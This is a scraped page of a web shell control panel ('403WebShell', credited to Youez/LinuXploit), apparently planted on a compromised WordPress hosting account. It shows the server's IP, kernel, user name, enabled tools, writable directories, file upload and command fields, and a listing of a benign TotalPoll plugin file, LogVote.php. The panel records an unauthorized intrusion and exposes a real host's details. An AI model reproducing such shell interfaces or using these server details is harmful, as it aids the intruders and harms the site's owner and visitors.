Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.223.171.83
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/plugins/totalpoll-lite/src/Poll/Commands/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/plugins/totalpoll-lite/src/Poll/Commands/LogVote.php
<?php

namespace TotalPoll\Poll\Commands;

use TotalPoll\Contracts\Log\Repository;
use TotalPoll\Contracts\Poll\Model;
use TotalPollVendors\TotalCore\Helpers\Command;

/**
 * Class LogVote
 * @package TotalPoll\Poll\Commands
 */
class LogVote extends Command {
	protected $poll;
	protected $repository;

	/**
	 * LogVote constructor.
	 *
	 * @param Model      $poll
	 * @param Repository $repository
	 */
	public function __construct( Model $poll, Repository $repository ) {
		$this->poll       = $poll;
		$this->repository = $repository;
	}

	/**
	 * Log vote.
	 *
	 * @return mixed
	 */
	protected function handle() {

		/**
		 * Fires before saving the log entry.
		 *
		 * @param Model $poll Poll model object.
		 *
		 * @since 4.0.0
		 */
		do_action( 'totalpoll/actions/before/poll/command/log', $this->poll );
		$details = [];
		$choices = [];

		$error           = $this->poll->getErrorMessage();
		$receivedChoices = $this->poll->getReceivedChoices();

		if ( $error ):
			$details['error'] = $this->poll->getErrorMessage();
		endif;

		if ( $receivedChoices ):
			$details['choices'] = [];
			foreach ( $receivedChoices as $choice ):
				$choices[]            = $choice['uid'];
				$details['choices'][] = $choice['label'];
			endforeach;
		endif;

		$questions = $this->poll->getQuestions();
		$receivedQuestions = $this->poll->getReceivedQuestions();
		$details['skipped'] = [];

		foreach ($questions as $question) {
			if(! in_array($question['uid'], $receivedQuestions)) {
				$details['skipped'][] = $question['uid'];
			}
		}

		if(empty($details['skipped'])) {
			unset($details['skipped']);
		}

		$log = $this->repository->create(
			apply_filters(
				'totalpoll/filters/poll/command/log/attributes',
				[
					'poll_id' => $this->poll->getId(),
					'action'  => 'vote',
					'status'  => $this->poll->getError() ? 'rejected' : 'accepted',
					'choices' => $choices,
					'details' => $details,
				],
				$this->poll
			)
		);

		/**
		 * Fires after saving the log entry.
		 *
		 * @param \TotalPoll\Contracts\Log\Model  $log  Log entry model object.
		 * @param Model $poll Poll model object.
		 *
		 * @since 4.0.0
		 */
		do_action( 'totalpoll/actions/after/poll/command/log', $log, $this->poll );

		if ( $log ):
			self::share( 'log', $log );
		endif;

		return $log;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit